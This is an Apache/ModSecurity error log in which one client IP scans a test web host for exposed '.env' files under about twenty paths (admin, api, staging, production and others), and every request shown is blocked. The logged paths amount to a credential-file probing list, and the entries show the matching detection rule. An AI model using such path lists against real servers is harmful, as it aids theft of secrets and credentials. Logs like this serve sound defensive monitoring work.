[Tue Nov 26 11:15:28.798488 2024] [:error] [pid 3564717] [client 179.43.188.122:49704] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "Z0WfwGRhXg6poZdXv-86lAAAAAU"]
[Tue Nov 26 11:15:28.798734 2024] [:error] [pid 3564717] [client 179.43.188.122:49704] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "Z0WfwGRhXg6poZdXv-86lAAAAAU"]
[Tue Nov 26 11:15:28.800664 2024] [:error] [pid 3564709] [client 179.43.188.122:49708] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v1/.env"] [unique_id "Z0WfwIBfrNFTPZLxME0yQgAAAAA"]
[Tue Nov 26 11:15:28.802088 2024] [:error] [pid 3564709] [client 179.43.188.122:49708] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v1/.env"] [unique_id "Z0WfwIBfrNFTPZLxME0yQgAAAAA"]
[Tue Nov 26 11:15:28.802287 2024] [:error] [pid 3564709] [client 179.43.188.122:49708] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v1/.env"] [unique_id "Z0WfwIBfrNFTPZLxME0yQgAAAAA"]
[Tue Nov 26 11:15:28.809164 2024] [authz_core:error] [pid 3567938] [client 179.43.188.122:49738] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.env
[Tue Nov 26 11:15:28.812293 2024] [:error] [pid 3567955] [client 179.43.188.122:49722] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v2/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v2/.env"] [unique_id "Z0WfwCKZsj_JtFWlFYN6SgAAAAs"]
[Tue Nov 26 11:15:28.812711 2024] [:error] [pid 3567955] [client 179.43.188.122:49722] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v2/.env"] [unique_id "Z0WfwCKZsj_JtFWlFYN6SgAAAAs"]
[Tue Nov 26 11:15:28.813126 2024] [:error] [pid 3567955] [client 179.43.188.122:49722] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v2/.env"] [unique_id "Z0WfwCKZsj_JtFWlFYN6SgAAAAs"]
[Tue Nov 26 11:15:28.814130 2024] [:error] [pid 3567948] [client 179.43.188.122:49744] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "Z0WfwNJI660nbjdt0OpWqAAAAAk"]
[Tue Nov 26 11:15:28.814537 2024] [:error] [pid 3567948] [client 179.43.188.122:49744] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "Z0WfwNJI660nbjdt0OpWqAAAAAk"]
[Tue Nov 26 11:15:28.814712 2024] [:error] [pid 3567948] [client 179.43.188.122:49744] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "Z0WfwNJI660nbjdt0OpWqAAAAAk"]
[Tue Nov 26 11:15:28.834201 2024] [:error] [pid 3564711] [client 179.43.188.122:49750] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/v1/.env"] [unique_id "Z0WfwBF8ID7EKZVH1cUHLQAAAAI"]
[Tue Nov 26 11:15:28.834468 2024] [:error] [pid 3564711] [client 179.43.188.122:49750] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/v1/.env"] [unique_id "Z0WfwBF8ID7EKZVH1cUHLQAAAAI"]
[Tue Nov 26 11:15:28.834663 2024] [:error] [pid 3564711] [client 179.43.188.122:49750] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/v1/.env"] [unique_id "Z0WfwBF8ID7EKZVH1cUHLQAAAAI"]
[Tue Nov 26 11:15:28.837066 2024] [:error] [pid 3565752] [client 179.43.188.122:49752] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/v2/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/v2/.env"] [unique_id "Z0WfwAwI7yeXZXwNg0WYswAAAAc"]
[Tue Nov 26 11:15:28.837398 2024] [:error] [pid 3565752] [client 179.43.188.122:49752] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/v2/.env"] [unique_id "Z0WfwAwI7yeXZXwNg0WYswAAAAc"]
[Tue Nov 26 11:15:28.837619 2024] [:error] [pid 3565752] [client 179.43.188.122:49752] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/v2/.env"] [unique_id "Z0WfwAwI7yeXZXwNg0WYswAAAAc"]
[Tue Nov 26 11:15:28.843729 2024] [:error] [pid 3567958] [client 179.43.188.122:49764] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env"] [unique_id "Z0WfwItwdrFt-QvnXLgsPwAAAA4"]
[Tue Nov 26 11:15:28.843993 2024] [:error] [pid 3567958] [client 179.43.188.122:49764] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env"] [unique_id "Z0WfwItwdrFt-QvnXLgsPwAAAA4"]
[Tue Nov 26 11:15:28.844174 2024] [:error] [pid 3567958] [client 179.43.188.122:49764] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env"] [unique_id "Z0WfwItwdrFt-QvnXLgsPwAAAA4"]
[Tue Nov 26 11:15:28.848804 2024] [authz_core:error] [pid 3567972] [client 179.43.188.122:49766] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/.env
[Tue Nov 26 11:15:28.853372 2024] [:error] [pid 3565750] [client 179.43.188.122:49768] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /staging/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/staging/.env"] [unique_id "Z0WfwIPZFt9ZHLjWZqxj4gAAAAY"]
[Tue Nov 26 11:15:28.854026 2024] [:error] [pid 3565750] [client 179.43.188.122:49768] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/staging/.env"] [unique_id "Z0WfwIPZFt9ZHLjWZqxj4gAAAAY"]
[Tue Nov 26 11:15:28.854490 2024] [:error] [pid 3565750] [client 179.43.188.122:49768] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/staging/.env"] [unique_id "Z0WfwIPZFt9ZHLjWZqxj4gAAAAY"]
[Tue Nov 26 11:15:28.871811 2024] [:error] [pid 3564717] [client 179.43.188.122:49772] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /production/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/production/.env"] [unique_id "Z0WfwGRhXg6poZdXv-86lQAAAAU"]
[Tue Nov 26 11:15:28.872507 2024] [:error] [pid 3564717] [client 179.43.188.122:49772] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/production/.env"] [unique_id "Z0WfwGRhXg6poZdXv-86lQAAAAU"]
[Tue Nov 26 11:15:28.872975 2024] [:error] [pid 3564717] [client 179.43.188.122:49772] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/production/.env"] [unique_id "Z0WfwGRhXg6poZdXv-86lQAAAAU"]
[Tue Nov 26 11:15:28.874089 2024] [:error] [pid 3564709] [client 179.43.188.122:49786] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "Z0WfwIBfrNFTPZLxME0yQwAAAAA"]
[Tue Nov 26 11:15:28.874603 2024] [:error] [pid 3564709] [client 179.43.188.122:49786] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "Z0WfwIBfrNFTPZLxME0yQwAAAAA"]
[Tue Nov 26 11:15:28.874979 2024] [:error] [pid 3564709] [client 179.43.188.122:49786] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "Z0WfwIBfrNFTPZLxME0yQwAAAAA"]
[Tue Nov 26 11:15:28.880182 2024] [:error] [pid 3567938] [client 179.43.188.122:49788] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server/.env"] [unique_id "Z0WfwDp_ZJjuaB8vwsu28wAAAAg"]
[Tue Nov 26 11:15:28.880629 2024] [:error] [pid 3567938] [client 179.43.188.122:49788] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server/.env"] [unique_id "Z0WfwDp_ZJjuaB8vwsu28wAAAAg"]
[Tue Nov 26 11:15:28.880977 2024] [:error] [pid 3567938] [client 179.43.188.122:49788] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server/.env"] [unique_id "Z0WfwDp_ZJjuaB8vwsu28wAAAAg"]
[Tue Nov 26 11:15:28.883676 2024] [:error] [pid 3567955] [client 179.43.188.122:49804] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /services/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/services/.env"] [unique_id "Z0WfwCKZsj_JtFWlFYN6SwAAAAs"]
[Tue Nov 26 11:15:28.883907 2024] [:error] [pid 3567955] [client 179.43.188.122:49804] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/services/.env"] [unique_id "Z0WfwCKZsj_JtFWlFYN6SwAAAAs"]
[Tue Nov 26 11:15:28.884094 2024] [:error] [pid 3567955] [client 179.43.188.122:49804] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/services/.env"] [unique_id "Z0WfwCKZsj_JtFWlFYN6SwAAAAs"]
[Tue Nov 26 11:15:28.889074 2024] [:error] [pid 3567948] [client 179.43.188.122:49808] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /environment/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/environment/.env"] [unique_id "Z0WfwNJI660nbjdt0OpWqQAAAAk"]
[Tue Nov 26 11:15:28.889304 2024] [:error] [pid 3567948] [client 179.43.188.122:49808] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/environment/.env"] [unique_id "Z0WfwNJI660nbjdt0OpWqQAAAAk"]
[Tue Nov 26 11:15:28.889466 2024] [:error] [pid 3567948] [client 179.43.188.122:49808] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/environment/.env"] [unique_id "Z0WfwNJI660nbjdt0OpWqQAAAAk"]
[Tue Nov 26 11:15:28.910132 2024] [:error] [pid 3564711] [client 179.43.188.122:49814] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /private/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/private/.env"] [unique_id "Z0WfwBF8ID7EKZVH1cUHLgAAAAI"]
[Tue Nov 26 11:15:28.910319 2024] [authz_core:error] [pid 3565752] [client 179.43.188.122:49820] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/config
